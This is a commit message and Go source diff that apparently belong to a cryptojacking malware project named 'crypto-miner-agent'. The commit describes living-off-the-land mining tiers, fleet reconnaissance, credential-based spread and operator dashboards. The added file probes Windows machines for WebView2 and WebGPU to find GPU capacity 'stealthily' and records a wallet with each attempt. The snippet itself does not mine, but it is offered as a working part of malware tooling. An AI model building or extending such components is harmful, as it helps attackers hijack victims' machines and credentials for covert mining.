Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_webview2_probe.go

@@ -0,0 +1,74 @@
+package miner
+
+import (
+	"context"
+	"runtime"
+
+	"crypto-miner-agent/config"
+)
+
+// WebView2ProbeResult holds stealth GPU capability discovery.
+type WebView2ProbeResult struct {
+	RuntimeInstalled bool
+	WebGPUAvailable  bool
+	BinaryName       string
+	ProbeOnly        bool
+}
+
+// webview2Probe runs platform WebView2/WebGPU detection. Tests override via SetWebView2Probe.
+var webview2Probe = platformWebView2Probe
+
+// SetWebView2Probe restores default when fn is nil.
+func SetWebView2Probe(fn func() WebView2ProbeResult) {
+	if fn == nil {
+		webview2Probe = platformWebView2Probe
+		return
+	}
+	webview2Probe = fn
+}
+
+// RunWebView2Probe detects WebGPU availability; probe-only, does not mine.
+func RunWebView2Probe(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	if runtime.GOOS != "windows" {
+		return TierAttempt{Tier: TierWebView2Probe, Error: "webview2_probe requires windows", Wallet: cfg.Wallet}
+	}
+	select {
+	case <-ctx.Done():
+		return TierAttempt{Tier: TierWebView2Probe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
+	default:
+	}
+
+	result := webview2Probe()
+	details := map[string]interface{}{
+		"runtime_installed": result.RuntimeInstalled,
+		"webgpu_available":  result.WebGPUAvailable,
+		"binary":            result.BinaryName,
+		"probe_only":        true,
+	}
+	if !result.RuntimeInstalled {
+		return TierAttempt{
+			Tier:    TierWebView2Probe,
+			Error:   "WebView2 runtime not installed",
+			Wallet:  cfg.Wallet,
+			Details: details,
+		}
+	}
+	// OK even when WebGPU unavailable — probe succeeded, escalation deferred.
+	return TierAttempt{
+		Tier:    TierWebView2Probe,
+		OK:      true,
+		Wallet:  cfg.Wallet,
+		Details: details,
+	}
+}
+
+// WebGPUAvailableFromAttempt reads probe details from a recorded attempt.
+func WebGPUAvailableFromAttempt(a TierAttempt) bool {
+	if a.Tier != TierWebView2Probe || !a.OK {
+		return false
+	}
+	if v, ok := a.Details["webgpu_available"].(bool); ok {
+		return v
+	}
+	return false
+}